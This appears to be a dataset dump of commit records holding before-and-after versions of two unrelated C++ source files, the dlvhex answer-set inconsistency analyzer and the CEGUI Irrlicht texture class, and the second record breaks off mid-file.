InterpretationPtr analysisProgramEdb(new Interpretation(ctx.registry()));\n OrdinaryASPProgram analysisProgram(ctx.registry(), std::vector<ID>(), analysisProgramEdb, ctx.maxint);\n bm::bvector<>::enumerator en, en_end;\n int nextAtomID = 0;\n ID satAtom = getAuxiliaryAtom('x', ID::termFromInteger(nextAtomID++));\n\n \/\/ explanation guess\n DBGLOG(DBG, \"Adding guessing rules for explanation atoms \" << *explAtoms);\n InterpretationPtr negExplAtoms(new Interpretation(ctx.registry()));\n en = explAtoms->getStorage().first();\n en_end = explAtoms->getStorage().end();\n while (en < en_end) {\n Rule explanationGuess(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR | ID::PROPERTY_RULE_DISJ);\n ID eAtomID = ctx.registry()->ogatoms.getIDByAddress(*en);\n ID neAtomID = getAuxiliaryAtom('x', eAtomID);\n negExplAtoms->setFact(neAtomID.address);\n explanationGuess.head.push_back(eAtomID); \/\/ atom is in R+\n explanationGuess.head.push_back(neAtomID); \/\/ atom is in R-\n explanationGuess.head.push_back(getAuxiliaryAtom('y', eAtomID)); \/\/ atom is neither in R+ nor in R-\n analysisProgram.idb.push_back(ctx.registry()->storeRule(explanationGuess));\n en++;\n }\n\n \/\/ interpretation guess and saturation\n DBGLOG(DBG, \"Adding guessing and saturation rules for program atoms \" << *programAtoms);\n en = programAtoms->getStorage().first();\n en_end = programAtoms->getStorage().end();\n while (en < en_end) {\n \/\/ interpretation guess\n Rule interpretationGuess(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR | ID::PROPERTY_RULE_DISJ);\n ID atomID = ctx.registry()->ogatoms.getIDByAddress(*en);\n interpretationGuess.head.push_back(getAuxiliaryAtom('p', atomID)); \/\/ atom in interpretation\n interpretationGuess.head.push_back(getAuxiliaryAtom('n', atomID)); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(interpretationGuess));\n\n \/\/ saturation on discrepancy of interpretation guess from explanation guess\n {\n Rule discrepancy(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n discrepancy.head.push_back(satAtom);\n discrepancy.body.push_back(ID::posLiteralFromAtom(atomID)); \/\/ atom in explanation guess\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', atomID))); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(discrepancy));\n }{\n Rule discrepancy(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n discrepancy.head.push_back(satAtom);\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('x', atomID))); \/\/ atom in explanation guess\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('p', atomID))); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(discrepancy));\n }\n {\n Rule satInterpretation(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satInterpretation.head.push_back(getAuxiliaryAtom('p', atomID)); \/\/ -atom in interpretation\n satInterpretation.body.push_back(ID::posLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satInterpretation));\n }{\n Rule satInterpretation(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satInterpretation.head.push_back(getAuxiliaryAtom('n', atomID)); \/\/ -atom in interpretation\n satInterpretation.body.push_back(ID::posLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satInterpretation));\n }\n\n en++;\n }\n\n \/\/ saturation for non-models\n en = gp.edb->getStorage().first();\n en_end = gp.edb->getStorage().end();\n while (en < en_end) {\n \/\/ explanation atoms cannot be part of the EDB\n\t if (!explAtoms->getFact(*en)) {\n Rule satOnModelRule(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n\t satOnModelRule.head.push_back(satAtom);\n\t satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', ctx.registry()->ogatoms.getIDByAddress(*en))));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satOnModelRule));\n\t }\n en++;\n }\n BOOST_FOREACH (ID ruleID, gp.idb) {\n DBGLOG(DBG, \"Adding saturation rule for program rule \" << printToString<RawPrinter>(ruleID, ctx.registry()));\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n Rule satOnModelRule(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satOnModelRule.head.push_back(satAtom);\n BOOST_FOREACH (ID h, rule.head) { satOnModelRule.body.push_back(getAuxiliaryAtom('n', h)); }\n BOOST_FOREACH (ID b, rule.body) {\n if (!b.isNaf()) {\n satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('p', ID::atomFromLiteral(b))));\n }else{\n satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', ID::atomFromLiteral(b))));\n }\n }\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satOnModelRule));\n }\n\n \/\/ restrict search to models with atom sat\n {\n DBGLOG(DBG, \"Adding sat constraint\");\n Rule satConstraint(ID::MAINKIND_RULE | ID::SUBKIND_RULE_CONSTRAINT);\n satConstraint.body.push_back(ID::nafLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satConstraint));\n }\n\n#ifndef NDEBUG\n if (!!gp.edb) {\n DBGLOG(DBG, \"Analysis program:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(analysisProgram.idb, \"\\n\", ctx.registry()));\n }else{\n DBGLOG(DBG, \"Analysis program:\" << std::endl << printManyToString<RawPrinter>(analysisProgram.idb, \"\\n\", ctx.registry()));\n }\n#endif\n\n \/\/ solve the instance\n GenuineGroundSolverPtr analysisSolver = GenuineGroundSolver::getInstance(ctx, analysisProgram);\n InterpretationConstPtr model;\n while ( (model = analysisSolver->getNextModel()) != InterpretationConstPtr() ) {\n DBGLOG(DBG, \"Answer set of analysis program: \" << *model);\n\n \/\/ extract explanation\n Nogood explanation;\n en = model->getStorage().first();\n en_end = model->getStorage().end();\n while (en < en_end) {\n if (explAtoms->getFact(*en)) explanation.insert(NogoodContainer::createLiteral(*en, true));\n else if (negExplAtoms->getFact(*en)) explanation.insert(NogoodContainer::createLiteral(ctx.registry()->getIDByAuxiliaryConstantSymbol(ctx.registry()->ogatoms.getByAddress(*en).tuple[0]).address, false));\n en++;\n }\n DBGLOG(DBG, \"Explanation: \" << explanation.getStringRepresentation(ctx.registry()));\n if (ctx.config.getOption(\"UserInconsistencyAnalysis\")) {\n std::cout << \"Inconsistency explanation: \" << explanation.getStringRepresentation(ctx.registry()) << std::endl;\n }\n }\n\n return Nogood();\n}\n\nDLVHEX_NAMESPACE_END\n\n\/\/ vim:expandtab:ts=4:sw=4:\n\/\/ mode: C++\n\/\/ End:\n<commit_msg>fix debug output<commit_after>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005-2007 Roman Schindlauer\n * Copyright (C) 2006-2015 Thomas Krennwallner\n * Copyright (C) 2009-2016 Peter Schüller\n * Copyright (C) 2011-2016 Christoph Redl\n * Copyright (C) 2015-2016 Tobias Kaminski\n * Copyright (C) 2015-2016 Antonius Weinzierl\n *\n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\/**\n * @file InconsistencyAnalyzer.cpp\n * @author Christoph Redl\n * @date Wed April 20 2016\n *\n * @brief Computes a reason for the inconsistency in a program unit.\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dlvhex2\/BaseModelGenerator.h\"\n#include \"dlvhex2\/InconsistencyAnalyzer.h\"\n#include \"dlvhex2\/Printer.h\"\n#include \"dlvhex2\/ProgramCtx.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/InternalGrounder.h\"\n#include \"dlvhex2\/SATSolver.h\"\n\n#include <boost\/graph\/breadth_first_search.hpp>\n#include <boost\/graph\/visitors.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\n#include <boost\/foreach.hpp>\n\nDLVHEX_NAMESPACE_BEGIN\n\nInconsistencyAnalyzer::InconsistencyAnalyzer(ProgramCtx& ctx) : ctx(ctx){\n}\n\nID InconsistencyAnalyzer::getAuxiliaryAtom(char type, ID id){\n OrdinaryAtom oatom(ID::MAINKIND_ATOM | ID::SUBKIND_ATOM_ORDINARYG | ID::PROPERTY_AUX);\n oatom.tuple.push_back(ctx.registry()->getAuxiliaryConstantSymbol(type, id));\n return ctx.registry()->storeOrdinaryAtom(oatom);\n}\n\nNogood InconsistencyAnalyzer::getInconsistencyReason(BaseModelGenerator* mg, InterpretationConstPtr explAtoms, std::vector<ID>& innerEatoms, OrdinaryASPProgram& program, AnnotatedGroundProgram& annotatedOptimizedProgram, bool* haveInconsistencyReason){\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Performing inconsistency analyzis for program:\" << std::endl << *program.edb << std::endl << printManyToString<RawPrinter>(program.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ ground the program without optimization\n InternalGrounder grounder(ctx, program, InternalGrounder::builtin);\n OrdinaryASPProgram gp = grounder.getGroundProgram();\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Unoptimized grounded program:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n InterpretationPtr programAtoms(new Interpretation(*gp.edb));\n BOOST_FOREACH (ID ruleID, gp.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n BOOST_FOREACH (ID h, rule.head) programAtoms->setFact(h.address);\n BOOST_FOREACH (ID b, rule.body) programAtoms->setFact(b.address);\n }\n\n \/\/ construct analysis program\n InterpretationPtr analysisProgramEdb(new Interpretation(ctx.registry()));\n OrdinaryASPProgram analysisProgram(ctx.registry(), std::vector<ID>(), analysisProgramEdb, ctx.maxint);\n bm::bvector<>::enumerator en, en_end;\n int nextAtomID = 0;\n ID satAtom = getAuxiliaryAtom('x', ID::termFromInteger(nextAtomID++));\n\n \/\/ explanation guess\n DBGLOG(DBG, \"Adding guessing rules for explanation atoms \" << *explAtoms);\n InterpretationPtr negExplAtoms(new Interpretation(ctx.registry()));\n en = explAtoms->getStorage().first();\n en_end = explAtoms->getStorage().end();\n while (en < en_end) {\n Rule explanationGuess(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR | ID::PROPERTY_RULE_DISJ);\n ID eAtomID = ctx.registry()->ogatoms.getIDByAddress(*en);\n ID neAtomID = getAuxiliaryAtom('x', eAtomID);\n negExplAtoms->setFact(neAtomID.address);\n explanationGuess.head.push_back(eAtomID); \/\/ atom is in R+\n explanationGuess.head.push_back(neAtomID); \/\/ atom is in R-\n explanationGuess.head.push_back(getAuxiliaryAtom('y', eAtomID)); \/\/ atom is neither in R+ nor in R-\n analysisProgram.idb.push_back(ctx.registry()->storeRule(explanationGuess));\n en++;\n }\n\n \/\/ interpretation guess and saturation\n DBGLOG(DBG, \"Adding guessing and saturation rules for program atoms \" << *programAtoms);\n en = programAtoms->getStorage().first();\n en_end = programAtoms->getStorage().end();\n while (en < en_end) {\n \/\/ interpretation guess\n Rule interpretationGuess(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR | ID::PROPERTY_RULE_DISJ);\n ID atomID = ctx.registry()->ogatoms.getIDByAddress(*en);\n interpretationGuess.head.push_back(getAuxiliaryAtom('p', atomID)); \/\/ atom in interpretation\n interpretationGuess.head.push_back(getAuxiliaryAtom('n', atomID)); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(interpretationGuess));\n\n \/\/ saturation on discrepancy of interpretation guess from explanation guess\n {\n Rule discrepancy(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n discrepancy.head.push_back(satAtom);\n discrepancy.body.push_back(ID::posLiteralFromAtom(atomID)); \/\/ atom in explanation guess\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', atomID))); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(discrepancy));\n }{\n Rule discrepancy(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n discrepancy.head.push_back(satAtom);\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('x', atomID))); \/\/ atom in explanation guess\n discrepancy.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('p', atomID))); \/\/ -atom in interpretation\n analysisProgram.idb.push_back(ctx.registry()->storeRule(discrepancy));\n }\n {\n Rule satInterpretation(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satInterpretation.head.push_back(getAuxiliaryAtom('p', atomID)); \/\/ -atom in interpretation\n satInterpretation.body.push_back(ID::posLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satInterpretation));\n }{\n Rule satInterpretation(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satInterpretation.head.push_back(getAuxiliaryAtom('n', atomID)); \/\/ -atom in interpretation\n satInterpretation.body.push_back(ID::posLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satInterpretation));\n }\n\n en++;\n }\n\n \/\/ saturation for non-models\n en = gp.edb->getStorage().first();\n en_end = gp.edb->getStorage().end();\n while (en < en_end) {\n \/\/ explanation atoms cannot be part of the EDB\n\/\/\t if (!explAtoms->getFact(*en)) {\n Rule satOnModelRule(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n\t satOnModelRule.head.push_back(satAtom);\n\t satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', ctx.registry()->ogatoms.getIDByAddress(*en))));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satOnModelRule));\n\/\/\t }\n en++;\n }\n BOOST_FOREACH (ID ruleID, gp.idb) {\n DBGLOG(DBG, \"Adding saturation rule for program rule \" << printToString<RawPrinter>(ruleID, ctx.registry()));\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n Rule satOnModelRule(ID::MAINKIND_RULE | ID::SUBKIND_RULE_REGULAR);\n satOnModelRule.head.push_back(satAtom);\n BOOST_FOREACH (ID h, rule.head) { satOnModelRule.body.push_back(getAuxiliaryAtom('n', h)); }\n BOOST_FOREACH (ID b, rule.body) {\n if (!b.isNaf()) {\n satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('p', ID::atomFromLiteral(b))));\n }else{\n satOnModelRule.body.push_back(ID::posLiteralFromAtom(getAuxiliaryAtom('n', ID::atomFromLiteral(b))));\n }\n }\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satOnModelRule));\n }\n\n \/\/ restrict search to models with atom sat\n {\n DBGLOG(DBG, \"Adding sat constraint\");\n Rule satConstraint(ID::MAINKIND_RULE | ID::SUBKIND_RULE_CONSTRAINT);\n satConstraint.body.push_back(ID::nafLiteralFromAtom(satAtom));\n analysisProgram.idb.push_back(ctx.registry()->storeRule(satConstraint));\n }\n\n#ifndef NDEBUG\n if (!!gp.edb) {\n DBGLOG(DBG, \"Analysis program:\" << std::endl << *analysisProgramEdb.edb << std::endl << printManyToString<RawPrinter>(analysisProgram.idb, \"\\n\", ctx.registry()));\n }else{\n DBGLOG(DBG, \"Analysis program:\" << std::endl << printManyToString<RawPrinter>(analysisProgram.idb, \"\\n\", ctx.registry()));\n }\n#endif\n\n \/\/ solve the instance\n GenuineGroundSolverPtr analysisSolver = GenuineGroundSolver::getInstance(ctx, analysisProgram);\n InterpretationConstPtr model;\n while ( (model = analysisSolver->getNextModel()) != InterpretationConstPtr() ) {\n DBGLOG(DBG, \"Answer set of analysis program: \" << *model);\n\n \/\/ extract explanation\n Nogood explanation;\n en = model->getStorage().first();\n en_end = model->getStorage().end();\n while (en < en_end) {\n if (explAtoms->getFact(*en)) explanation.insert(NogoodContainer::createLiteral(*en, true));\n else if (negExplAtoms->getFact(*en)) explanation.insert(NogoodContainer::createLiteral(ctx.registry()->getIDByAuxiliaryConstantSymbol(ctx.registry()->ogatoms.getByAddress(*en).tuple[0]).address, false));\n en++;\n }\n DBGLOG(DBG, \"Explanation: \" << explanation.getStringRepresentation(ctx.registry()));\n if (ctx.config.getOption(\"UserInconsistencyAnalysis\")) {\n std::cout << \"Inconsistency explanation: \" << explanation.getStringRepresentation(ctx.registry()) << std::endl;\n }\n }\n\n return Nogood();\n}\n\nDLVHEX_NAMESPACE_END\n\n\/\/ vim:expandtab:ts=4:sw=4:\n\/\/ mode: C++\n\/\/ End:\n<|endoftext|>"} {"text":"<commit_before>\/***********************************************************************\n filename: CEGUIIrrlichtTexture.cpp\n created: Tue Mar 3 2009\n author: Paul D Turner (based on original code by Thomas Suter)\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"CEGUIIrrlichtTexture.h\"\n#include \"CEGUISystem.h\"\n#include \"CEGUIExceptions.h\"\n#include \"CEGUIImageCodec.h\"\n#include <irrlicht.h>\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\nuint32 IrrlichtTexture::d_textureNumber = 0;\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::setIrrlichtTexture(irr::video::ITexture* tex)\n{\n d_texture = tex;\n\n if (d_texture)\n {\n d_size = d_dataSize = Size<>(\n static_cast<float>(d_texture->getSize().Width),\n static_cast<float>(d_texture->getSize().Height));\n\n updateCachedScaleValues();\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nirr::video::ITexture* IrrlichtTexture::getIrrlichtTexture() const\n{\n return d_texture;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst String& IrrlichtTexture::getName() const\n{\n return d_name;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Size<>& IrrlichtTexture::getSize() const\n{\n return d_size;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Size<>& IrrlichtTexture::getOriginalDataSize() const\n{\n return d_dataSize;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Vector2<>& IrrlichtTexture::getTexelScaling() const\n{\n return d_texelScaling;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::loadFromFile(const String& filename,\n const String& resourceGroup)\n{\n \/\/ get and check existence of CEGUI::System object\n System* sys = System::getSingletonPtr();\n if (!sys)\n CEGUI_THROW(RendererException(\"IrrlichtTexture::loadFromFile: \"\n \"CEGUI::System object has not been created!\"));\n\n \/\/ load file to memory via resource provider\n RawDataContainer texFile;\n sys->getResourceProvider()->loadRawDataContainer(filename, texFile,\n resourceGroup);\n\n Texture* res = sys->getImageCodec().load(texFile, this);\n\n \/\/ unload file data buffer\n sys->getResourceProvider()->unloadRawDataContainer(texFile);\n\n \/\/ throw exception if data was load loaded to texture.\n if (!res)\n CEGUI_THROW(RendererException(\"IrrlichtTexture::loadFromFile: \" +\n sys->getImageCodec().getIdentifierString() +\n \" failed to load image '\" + filename + \"'.\"));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::loadFromMemory(const void* buffer,\n const Size<>& buffer_size,\n PixelFormat pixel_format)\n{\n using namespace irr;\n\n freeIrrlichtTexture();\n createIrrlichtTexture(buffer_size);\n\n d_size.d_width = static_cast<float>(d_texture->getSize().Width);\n d_size.d_height = static_cast<float>(d_texture->getSize().Height);\n d_dataSize = buffer_size;\n\n updateCachedScaleValues();\n\n const size_t pix_sz = (pixel_format == PF_RGB) ? 3 : 4;\n const char* src = static_cast<const char*>(buffer);\n char* dest = static_cast<char*>(d_texture->lock());\n\n \/\/ copy data into texture, swapping red & blue and creating alpha channel\n \/\/ values as needed.\n for (int j = 0; j < buffer_size.d_height; ++j)\n {\n for (int i = 0; i < buffer_size.d_width; ++i)\n {\n dest[i * 4 + 0] = src[i * pix_sz + 2];\n dest[i * 4 + 1] = src[i * pix_sz + 1];\n dest[i * 4 + 2] = src[i * pix_sz + 0];\n dest[i * 4 + 3] = (pix_sz == 3) ? 0xFF : src[i * pix_sz + 3];\n }\n\n src += static_cast<int>(buffer_size.d_width * pix_sz);\n dest += static_cast<int>(d_size.d_width * 4);\n }\n\n d_texture->unlock();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::blitFromMemory(void* sourceData, const Rect<>& area)\n{\n CEGUI_THROW(InvalidRequestException(\"IrrlichtTexture::blitFromMemory: \"\n \"Function is unimplemented!\"));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::blitToMemory(void* targetData)\n{\n if (!d_texture)\n return;\n\n const size_t sz = static_cast<size_t>(d_size.d_width * d_size.d_height) * 4;\n memcpy(targetData, d_texture->lock(), sz);\n d_texture->unlock();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name) :\n d_driver(driver),\n d_texture(0),\n d_size(0, 0),\n d_dataSize(0, 0),\n d_texelScaling(0, 0),\n d_owner(owner),\n d_name(name)\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name,\n const String& filename,\n const String& resourceGroup) :\n d_driver(driver),\n d_texture(0),\n d_owner(owner),\n d_name(name)\n{\n loadFromFile(filename, resourceGroup);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name,\n const Size<>& size) :\n d_driver(driver),\n d_dataSize(size),\n d_owner(owner),\n d_name(name)\n\n{\n createIrrlichtTexture(size);\n\n d_size.d_width = static_cast<float>(d_texture->getSize().Width);\n d_size.d_height = static_cast<float>(d_texture->getSize().Height);\n\n updateCachedScaleValues();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::~IrrlichtTexture()\n{\n freeIrrlichtTexture();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::createIrrlichtTexture(const Size<>& sz)\n{\n using namespace irr;\n\n const Size<> tex_sz(d_owner.getAdjustedTextureSize(sz));\n\n #if CEGUI_IRR_SDK_VERSION >= 16\n const core::dimension2d<u32> irr_sz(\n static_cast<u32>(tex_sz.d_width),\n static_cast<u32>(tex_sz.d_height));\n #else\n const core::dimension2d<s32> irr_sz(\n static_cast<s32>(tex_sz.d_width),\n static_cast<s32>(tex_sz.d_height));\n #endif\n\n \/\/ save texture creation state\n video::E_TEXTURE_CREATION_FLAG fmtflg;\n\n if (d_driver.getTextureCreationFlag(video::ETCF_ALWAYS_32_BIT))\n fmtflg = video::ETCF_ALWAYS_32_BIT;\n else if (d_driver.getTextureCreationFlag(video::ETCF_OPTIMIZED_FOR_QUALITY))\n fmtflg = video::ETCF_OPTIMIZED_FOR_QUALITY;\n else if (d_driver.getTextureCreationFlag(video::ETCF_OPTIMIZED_FOR_SPEED))\n fmtflg = video::ETCF_OPTIMIZED_FOR_SPEED;\n else\n fmtflg = video::ETCF_ALWAYS_16_BIT;\n\n const bool tfmips =\n d_driver.getTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS);\n const bool tfalpha =\n d_driver.getTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL);\n const bool tfnpot =\n d_driver.getTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2);\n\n \/\/ explicitly set all states to what we want\n d_driver.setTextureCreationFlag(video::ETCF_ALWAYS_32_BIT, true);\n d_driver.setTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS, false);\n d_driver.setTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL, false);\n d_driver.setTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2, true);\n\n d_texture = d_driver.addTexture(irr_sz, getUniqueName().c_str(),\n irr::video::ECF_A8R8G8B8);\n\n \/\/ restore previous texture creation state\n d_driver.setTextureCreationFlag(fmtflg, true);\n d_driver.setTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS, tfmips);\n d_driver.setTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL, tfalpha);\n d_driver.setTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2, tfnpot);\n\n \/\/ we use ARGB all the time for now, so throw if we gut something else!\n if(video::ECF_A8R8G8B8 != d_texture->getColorFormat())\n CEGUI_THROW(RendererException(\n \"IrrlichtTexture::loadFromMemory: texture did \"\n \"not have the correct format (ARGB)\"));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::freeIrrlichtTexture()\n{\n if (!d_texture)\n return;\n\n d_driver.removeTexture(d_texture);\n d_texture = 0;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nstd::string IrrlichtTexture::getUniqueName()\n{\n char tmp[32];\n sprintf(tmp, \"irr_tex_%d\", d_textureNumber++);\n\n return std::string(tmp);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::setOriginalDataSize(const Size<>& sz)\n{\n d_dataSize = sz;\n updateCachedScaleValues();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::updateCachedScaleValues()\n{\n \/\/\n \/\/ calculate what to use for x scale\n \/\/\n const float orgW = d_dataSize.d_width;\n const float texW = d_size.d_width;\n\n \/\/ if texture and original data width are the same, scale is based\n \/\/ on the original size.\n \/\/ if texture is wider (and source data was not stretched), scale\n \/\/ is based on the size of the resulting texture.\n d_texelScaling.d_x = 1.0f \/ ((orgW == texW) ? orgW : texW);\n\n \/\/\n \/\/ calculate what to use for y scale\n \/\/\n const float orgH = d_dataSize.d_height;\n const float texH = d_size.d_height;\n\n \/\/ if texture and original data height are the same, scale is based\n \/\/ on the original size.\n \/\/ if texture is taller (and source data was not stretched), scale\n \/\/ is based on the size of the resulting texture.\n d_texelScaling.d_y = 1.0f \/ ((orgH == texH) ? orgH : texH);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of CEGUI namespace section\n<commit_msg>Implement blit functions for Irrlicht renderer. Currently these seem to not work when copying to a render target.<commit_after>\/***********************************************************************\n filename: CEGUIIrrlichtTexture.cpp\n created: Tue Mar 3 2009\n author: Paul D Turner (based on original code by Thomas Suter)\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"CEGUIIrrlichtTexture.h\"\n#include \"CEGUISystem.h\"\n#include \"CEGUIExceptions.h\"\n#include \"CEGUIImageCodec.h\"\n#include <irrlicht.h>\n\n\/\/ Start of CEGUI namespace 